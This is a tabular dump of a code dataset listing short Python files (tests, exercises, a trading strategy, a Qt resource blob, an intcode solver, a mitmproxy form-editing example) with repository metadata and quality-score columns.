hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
3d8a889972586131eb394e8b2a8d1179243d61b6 | 247 | py | Python | tests/test_2.py | 2legit/ytilities | 56fbc2be293ca03be3173b4e46086732fc9b9018 | [
"MIT"
] | null | null | null | tests/test_2.py | 2legit/ytilities | 56fbc2be293ca03be3173b4e46086732fc9b9018 | [
"MIT"
] | null | null | null | tests/test_2.py | 2legit/ytilities | 56fbc2be293ca03be3173b4e46086732fc9b9018 | [
"MIT"
] | null | null | null | from ytilities import adwords
def test_pass():
assert True, "dummy sample test"
def test_get_5_pls():
myclass = adwords.MyClass()
assert myclass.get_5() == 5, "MyClass get_5 returns 5"
print(__name__)
print(adwords.MyClass.get_5()) | 20.583333 | 58 | 0.716599 | 37 | 247 | 4.486486 | 0.486486 | 0.096386 | 0.198795 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.029126 | 0.165992 | 247 | 12 | 59 | 20.583333 | 0.776699 | 0 | 0 | 0 | 0 | 0 | 0.16129 | 0 | 0 | 0 | 0 | 0 | 0.25 | 1 | 0.25 | false | 0.125 | 0.125 | 0 | 0.375 | 0.25 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
3d93e392d7f2d0d8f599692e3eab60999c509fdb | 247 | py | Python | examples/modify_form.py | devasia1000/anti_adblock | 4538f053e2341ceb5a41867b07f95f3a37e1d792 | [
"MIT"
] | 1 | 2015-03-02T09:24:11.000Z | 2015-03-02T09:24:11.000Z | examples/modify_form.py | huyphan/mitmproxy | 5259aeb3264423204e84072d9e1b3ace4f6e6031 | [
"MIT"
] | 4 | 2016-01-07T17:08:27.000Z | 2016-06-12T21:12:59.000Z | examples/modify_form.py | huyphan/mitmproxy | 5259aeb3264423204e84072d9e1b3ace4f6e6031 | [
"MIT"
] | null | null | null |
def request(context, flow):
if "application/x-www-form-urlencoded" in flow.request.headers["content-type"]:
form = flow.request.get_form_urlencoded()
form["mitmproxy"] = ["rocks"]
flow.request.set_form_urlencoded(form) | 41.166667 | 83 | 0.684211 | 31 | 247 | 5.322581 | 0.580645 | 0.254545 | 0.218182 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.17004 | 247 | 6 | 84 | 41.166667 | 0.804878 | 0 | 0 | 0 | 0 | 0 | 0.238866 | 0.133603 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
3d9c86d47715a67f386c8dfdcc859c59a7833628 | 433 | py | Python | sktracker/utils/tests/test_sort.py | bnoi/scikit-tracker | 8771006a3a682ab299e4446c800c05f36a027df7 | [
"BSD-3-Clause"
] | 6 | 2016-03-03T12:45:32.000Z | 2018-07-06T18:51:46.000Z | sktracker/utils/tests/test_sort.py | bnoi/scikit-tracker | 8771006a3a682ab299e4446c800c05f36a027df7 | [
"BSD-3-Clause"
] | 1 | 2021-05-12T07:54:20.000Z | 2021-05-12T07:54:20.000Z | sktracker/utils/tests/test_sort.py | bnoi/scikit-tracker | 8771006a3a682ab299e4446c800c05f36a027df7 | [
"BSD-3-Clause"
] | 2 | 2017-11-27T13:40:43.000Z | 2020-12-12T18:31:11.000Z | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import
from __future__ import print_function
from sktracker.utils.sort import natural_keys
def test_naturalkeys():
alist = ["something1", "something12", "something17", "something2"]... | 24.055556 | 78 | 0.752887 | 48 | 433 | 6.333333 | 0.5625 | 0.131579 | 0.210526 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.034853 | 0.138568 | 433 | 17 | 79 | 25.470588 | 0.780161 | 0.048499 | 0 | 0 | 0 | 0 | 0.204878 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 1 | 0.111111 | false | 0 | 0.555556 | 0 | 0.666667 | 0.111111 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
3d9e652c0559f8dc7fb8f2121fccb3fd8f297336 | 144 | py | Python | tests/test_opencv.py | ak110/dl_allinone | 976f0d65b20bcf9bfc00286608bcd957dd086209 | [
"MIT"
] | 1 | 2019-02-07T03:48:19.000Z | 2019-02-07T03:48:19.000Z | tests/test_opencv.py | ak110/dl_allinone | 976f0d65b20bcf9bfc00286608bcd957dd086209 | [
"MIT"
] | 1 | 2019-03-26T03:48:15.000Z | 2019-05-24T04:12:33.000Z | tests/test_opencv.py | ak110/dl_allinone | 976f0d65b20bcf9bfc00286608bcd957dd086209 | [
"MIT"
] | null | null | null | def test_run(data_dir):
import cv2
img = cv2.imread(str(data_dir / "data.jpg"), cv2.IMREAD_COLOR)
assert img.shape == (20, 124, 3)
| 24 | 66 | 0.645833 | 24 | 144 | 3.708333 | 0.708333 | 0.157303 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.078261 | 0.201389 | 144 | 5 | 67 | 28.8 | 0.695652 | 0 | 0 | 0 | 0 | 0 | 0.055556 | 0 | 0 | 0 | 0 | 0 | 0.25 | 1 | 0.25 | false | 0 | 0.25 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
3d9f69f2f9a8e436c24ea58ae4ad32702be890f7 | 5,942 | py | Python | influxalchemy/meta.py | NagleZhang/influxalchemy | a4e782b2864ae49878eca475acff5364e22da461 | [
"MIT"
] | 1 | 2021-07-17T04:37:06.000Z | 2021-07-17T04:37:06.000Z | influxalchemy/meta.py | NagleZhang/influxalchemy | a4e782b2864ae49878eca475acff5364e22da461 | [
"MIT"
] | null | null | null | influxalchemy/meta.py | NagleZhang/influxalchemy | a4e782b2864ae49878eca475acff5364e22da461 | [
"MIT"
] | null | null | null | """ InfluxDB Meta Measurement. """
from datetime import date
from . import operations
try:
from datetime import timezone
UTC = timezone.utc # pragma: no cover
except ImportError: # pragma: no cover
import pytz # pragma: no cover
UTC = pytz.utc # pragma: no cover
def make_tz_aware(d... | 28.295238 | 76 | 0.583305 | 685 | 5,942 | 4.826277 | 0.191241 | 0.08167 | 0.054446 | 0.063521 | 0.269812 | 0.207804 | 0.150635 | 0.150635 | 0.111918 | 0.058681 | 0 | 0.000961 | 0.299226 | 5,942 | 209 | 77 | 28.430622 | 0.792988 | 0.174015 | 0 | 0.18254 | 0 | 0 | 0.015615 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.293651 | false | 0 | 0.039683 | 0.150794 | 0.674603 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
3da0918748859a6948db3bb215f431aeb710abd6 | 126 | py | Python | Exercicios/Ex_003.py | jotmar/PythonEx | bf026518ae5479d5c99ff7a4e95fc383dec22d36 | [
"MIT"
] | null | null | null | Exercicios/Ex_003.py | jotmar/PythonEx | bf026518ae5479d5c99ff7a4e95fc383dec22d36 | [
"MIT"
] | null | null | null | Exercicios/Ex_003.py | jotmar/PythonEx | bf026518ae5479d5c99ff7a4e95fc383dec22d36 | [
"MIT"
] | null | null | null | n1 = int(input('Primeiro valor: '))
n2 = int(input('Segundo valor: '))
print(f'A soma entre {n1} e {n2} é igual a {n1 + n2}')
| 31.5 | 54 | 0.611111 | 23 | 126 | 3.347826 | 0.652174 | 0.207792 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.057692 | 0.174603 | 126 | 3 | 55 | 42 | 0.682692 | 0 | 0 | 0 | 0 | 0 | 0.595238 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
3dc38547e05820cd111558056839724802ddcb9f | 211 | py | Python | convertutil.py | venkatrao1/emulated-chip8 | 1cb3715bb0e2466f1a7d0b7d96cd7dea1088cf26 | [
"CC0-1.0"
] | null | null | null | convertutil.py | venkatrao1/emulated-chip8 | 1cb3715bb0e2466f1a7d0b7d96cd7dea1088cf26 | [
"CC0-1.0"
] | null | null | null | convertutil.py | venkatrao1/emulated-chip8 | 1cb3715bb0e2466f1a7d0b7d96cd7dea1088cf26 | [
"CC0-1.0"
] | null | null | null | infile = open(input("enter inputfilename: "), "rb")
data = infile.read()
infile.close()
outfile = open(input("enter output filename: "), "w")
for num in data:
outfile.write(hex(num)+",")
outfile.close() | 26.375 | 54 | 0.654028 | 28 | 211 | 4.928571 | 0.642857 | 0.130435 | 0.202899 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.146919 | 211 | 8 | 55 | 26.375 | 0.766667 | 0 | 0 | 0 | 0 | 0 | 0.234146 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
3dc7c0bf1123648d563290032533e1f567c7c6f7 | 1,749 | py | Python | TradingView_RSI/__init__.py | xsa-dev/example-strategies | 0375a8226495f1756b4bd357e4105d3c9d4c8c83 | [
"MIT"
] | 96 | 2020-06-10T08:03:34.000Z | 2022-02-28T19:11:43.000Z | TradingView_RSI/__init__.py | ysdede/example-strategies | d4a8e112d54d651e2aef4e1787cf3d50348ef1c4 | [
"MIT"
] | 13 | 2020-06-14T08:43:25.000Z | 2021-06-19T18:45:02.000Z | TradingView_RSI/__init__.py | ysdede/example-strategies | d4a8e112d54d651e2aef4e1787cf3d50348ef1c4 | [
"MIT"
] | 52 | 2020-06-13T14:50:50.000Z | 2022-03-29T11:48:06.000Z | """
Based on https://www.tradingview.com/script/Ru7qOVtp-RSI-Trend-Crypto/
Default Trading Rules:
Long: RSI crosses over 35
Close Long: RSI crosses under 75
Emergency Exit: RSI crosses under 10
"""
from jesse.strategies import Strategy
import jesse.indicators as ta
from jesse import utils
class TV_RSI(Strategy):
... | 31.8 | 124 | 0.607776 | 244 | 1,749 | 4.266393 | 0.389344 | 0.040346 | 0.04611 | 0.054755 | 0.197887 | 0.122959 | 0.122959 | 0.122959 | 0.122959 | 0.122959 | 0 | 0.02939 | 0.241281 | 1,749 | 54 | 125 | 32.388889 | 0.755087 | 0.131504 | 0 | 0.125 | 0 | 0 | 0.104042 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0.03125 | 0.09375 | 0.125 | 0.53125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
3dd3ea25be9319d1cfcfdb24366e333a66fc4971 | 110,390 | py | Python | qt_resource/resource.py | MKdays/ExcelTool | 04a4abc8c60a709a2d91d57111b7e8afdbc62b9f | [
"bzip2-1.0.6"
] | null | null | null | qt_resource/resource.py | MKdays/ExcelTool | 04a4abc8c60a709a2d91d57111b7e8afdbc62b9f | [
"bzip2-1.0.6"
] | null | null | null | qt_resource/resource.py | MKdays/ExcelTool | 04a4abc8c60a709a2d91d57111b7e8afdbc62b9f | [
"bzip2-1.0.6"
] | null | null | null | # Resource object code (Python 3)
# Created by: object code
# Created by: The Resource Compiler for Qt version 5.15.2
# WARNING! All changes made in this file will be lost!
from PySide2 import QtCore
qt_resource_data = b"\
\x00\x00\x06u\
\x89\
PNG\x0d\x0a\x1a\x0a\x00\x00\x00\x0dIHDR\x00\
\x00\x00\x1e\x00\x00\x00\x1e\... | 45.093954 | 96 | 0.713362 | 24,487 | 110,390 | 3.20856 | 0.162535 | 0.07041 | 0.049944 | 0.020161 | 0.142424 | 0.137842 | 0.126604 | 0.115683 | 0.102854 | 0.091335 | 0 | 0.2574 | 0.02377 | 110,390 | 2,447 | 97 | 45.112383 | 0.471661 | 0.001486 | 0 | 0.120279 | 0 | 0.657225 | 0 | 0 | 0 | 0 | 0.000073 | 0 | 0 | 1 | 0.000821 | false | 0 | 0.000411 | 0 | 0.001232 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
3dda6cdc3f6e25f65981e8d8939d5ec15d6e13be | 799 | py | Python | pyscp/stats/scalars.py | skippy-dev/pyscp | 462db6dbcda468696d99aea07d1c0c298a99ae79 | [
"MIT"
] | 2 | 2021-04-06T15:41:59.000Z | 2022-01-22T10:42:42.000Z | pyscp/stats/scalars.py | MrNereof/pyscp | 130a51776c23a62e9e8298e44d6f69c6cb95da57 | [
"MIT"
] | null | null | null | pyscp/stats/scalars.py | MrNereof/pyscp | 130a51776c23a62e9e8298e44d6f69c6cb95da57 | [
"MIT"
] | 3 | 2021-02-20T22:00:35.000Z | 2021-04-25T12:05:19.000Z | #!/usr/bin/env python3
"""
Scalars.
Take a list of pages and return a single value.
"""
def upvotes(pages):
"""Upvotes."""
return sum([v.value for v in p.votes].count(1) for p in pages)
def rating(pages):
"""Net rating."""
return sum(p.rating for p in pages)
def rating_average(pages):
"""Ave... | 18.159091 | 81 | 0.624531 | 117 | 799 | 4.25641 | 0.34188 | 0.096386 | 0.060241 | 0.110442 | 0.228916 | 0.228916 | 0.084337 | 0 | 0 | 0 | 0 | 0.0064 | 0.217772 | 799 | 43 | 82 | 18.581395 | 0.7888 | 0.190238 | 0 | 0 | 0 | 0 | 0.027687 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.411765 | false | 0 | 0 | 0.117647 | 0.823529 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
3ddb781a6a1291fb02992a9ffae27b1e071040c9 | 485 | py | Python | models/player.py | operatorequals/pick-a-parcel | d82338b4757393c1a9cc95aa2364cb6f9041244e | [
"CC0-1.0"
] | 1 | 2021-11-09T11:53:12.000Z | 2021-11-09T11:53:12.000Z | models/player.py | operatorequals/pick-a-parcel | d82338b4757393c1a9cc95aa2364cb6f9041244e | [
"CC0-1.0"
] | null | null | null | models/player.py | operatorequals/pick-a-parcel | d82338b4757393c1a9cc95aa2364cb6f9041244e | [
"CC0-1.0"
] | null | null | null |
class Player:
def __init__(self, name=None):
self.name = name
self.symbol = ""
self.__has_parcel = False
def get_parcel(self):
self.__has_parcel = True
self.symbol = f"({self.symbol})".replace("-","")
def lose_parcel(self):
self.__has_parcel = False
self.symbol = f"-{self.symbol[1:-... | 21.086957 | 52 | 0.653608 | 69 | 485 | 4.202899 | 0.318841 | 0.172414 | 0.17931 | 0.124138 | 0.303448 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005195 | 0.206186 | 485 | 23 | 53 | 21.086957 | 0.748052 | 0 | 0 | 0.117647 | 0 | 0 | 0.076289 | 0.043299 | 0 | 0 | 0 | 0 | 0 | 1 | 0.352941 | false | 0 | 0 | 0.117647 | 0.529412 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
3ddf61f65f00b55f16b75b1f36c7ca9aa75a022f | 277 | py | Python | Python3/0492-Construct-The-Rectangle/soln.py | wyaadarsh/LeetCode-Solutions | 3719f5cb059eefd66b83eb8ae990652f4b7fd124 | [
"MIT"
] | 5 | 2020-07-24T17:48:59.000Z | 2020-12-21T05:56:00.000Z | Python3/0492-Construct-The-Rectangle/soln.py | zhangyaqi1989/LeetCode-Solutions | 2655a1ffc8678ad1de6c24295071308a18c5dc6e | [
"MIT"
] | null | null | null | Python3/0492-Construct-The-Rectangle/soln.py | zhangyaqi1989/LeetCode-Solutions | 2655a1ffc8678ad1de6c24295071308a18c5dc6e | [
"MIT"
] | 2 | 2020-07-24T17:49:01.000Z | 2020-08-31T19:57:35.000Z | class Solution:
def constructRectangle(self, area):
"""
:type area: int
:rtype: List[int]
"""
return min([(area // W, W) for W in range(1, int(math.sqrt(area)) + 1)
if area % W == 0], key=lambda pair : pair[0] - pair[1])
| 30.777778 | 78 | 0.501805 | 38 | 277 | 3.657895 | 0.631579 | 0.071942 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.027027 | 0.33213 | 277 | 8 | 79 | 34.625 | 0.724324 | 0.119134 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0 | 0 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
3de7efe2de19b41d68451485d1644d0466c85dcf | 795 | py | Python | chapter-14/exercise05.py | krastin/pp-cs3.0 | 502be9aac2d84215db176864e443c219e5e26591 | [
"MIT"
] | null | null | null | chapter-14/exercise05.py | krastin/pp-cs3.0 | 502be9aac2d84215db176864e443c219e5e26591 | [
"MIT"
] | null | null | null | chapter-14/exercise05.py | krastin/pp-cs3.0 | 502be9aac2d84215db176864e443c219e5e26591 | [
"MIT"
] | null | null | null | from math import sqrt
class Point:
""" A Point in (x,y) coordinates
"""
def __init__(self, x: float, y: float) -> None:
self.x = x
self.y = y
class LineSegment:
""" A line segment
>>> segment = LineSegment(Point(1, 1), Point(3, 2))
>>> segment.slope()
0.5
>>> segment.l... | 24.84375 | 96 | 0.569811 | 105 | 795 | 4.161905 | 0.333333 | 0.1373 | 0.050343 | 0.06865 | 0.201373 | 0.201373 | 0 | 0 | 0 | 0 | 0 | 0.064125 | 0.274214 | 795 | 32 | 97 | 24.84375 | 0.693241 | 0.197484 | 0 | 0 | 0 | 0 | 0.013423 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.125 | 0.125 | 0.625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
3debe193f06ad7a3963adeec17ffcb14130e01d6 | 201 | py | Python | execpeewee/__init__.py | supplayer/exec_peewee | 095b94d0a82e2f9d13e983d5cb6d22a09710b7c7 | [
"MIT"
] | null | null | null | execpeewee/__init__.py | supplayer/exec_peewee | 095b94d0a82e2f9d13e983d5cb6d22a09710b7c7 | [
"MIT"
] | null | null | null | execpeewee/__init__.py | supplayer/exec_peewee | 095b94d0a82e2f9d13e983d5cb6d22a09710b7c7 | [
"MIT"
] | null | null | null | from execpeewee.builder import PeeweeModel
from execpeewee.handler import ExecPeewee
from execpeewee.mapping import PeeweeFields
__all__ = [
'PeeweeModel',
'ExecPeewee',
'PeeweeFields'
]
| 18.272727 | 43 | 0.766169 | 19 | 201 | 7.894737 | 0.473684 | 0.28 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.164179 | 201 | 10 | 44 | 20.1 | 0.892857 | 0 | 0 | 0 | 0 | 0 | 0.164179 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.375 | 0 | 0.375 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
9a73a251b49ce319c5b0f1b613af751705fee9a1 | 4,822 | py | Python | 5/main.py | DVRodri8/advent-of-code-2019 | 8c1e1a0766b067fbe282dd482bc258275c5a3364 | [
"MIT"
] | null | null | null | 5/main.py | DVRodri8/advent-of-code-2019 | 8c1e1a0766b067fbe282dd482bc258275c5a3364 | [
"MIT"
] | null | null | null | 5/main.py | DVRodri8/advent-of-code-2019 | 8c1e1a0766b067fbe282dd482bc258275c5a3364 | [
"MIT"
] | null | null | null | import sys
class Opcode():
def __init__(self, full_opcode):
self.full_opcode = "{:05d}".format(int(full_opcode))
self.op_code = int(self.full_opcode[-2:])
self.modes = list(map(int, self.full_opcode[:3]))
def getOC(self):
return self.op_code
def getModes(self):
... | 61.037975 | 2,567 | 0.615927 | 991 | 4,822 | 2.981837 | 0.167508 | 0.058883 | 0.064298 | 0.052115 | 0.502876 | 0.452115 | 0.374958 | 0.354315 | 0.262944 | 0.067343 | 0 | 0.482993 | 0.176898 | 4,822 | 79 | 2,568 | 61.037975 | 0.261527 | 0 | 0 | 0.09375 | 0 | 0 | 0.014099 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.171875 | false | 0 | 0.015625 | 0.03125 | 0.28125 | 0.0625 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
9a775dee32bb0b92bd81e85834208e5f6f709f2e | 363 | py | Python | revibe/sharing/base.py | Revibe-Music/core-services | 6b11cf16ad2c35d948f3a5c0e7a161e5b7cfc1b2 | [
"MIT"
] | 2 | 2022-01-24T23:30:18.000Z | 2022-01-26T00:21:22.000Z | revibe/sharing/base.py | Revibe-Music/core-services | 6b11cf16ad2c35d948f3a5c0e7a161e5b7cfc1b2 | [
"MIT"
] | null | null | null | revibe/sharing/base.py | Revibe-Music/core-services | 6b11cf16ad2c35d948f3a5c0e7a161e5b7cfc1b2 | [
"MIT"
] | null | null | null | """
"""
from accounts.utils.models import generate_sharing_link
from administration.utils.models import retrieve_variable
# -----------------------------------------------------------------------------
def mobile_app_sharing_link(user):
base_text = retrieve_variable('mobile_app_share_text', "{}")
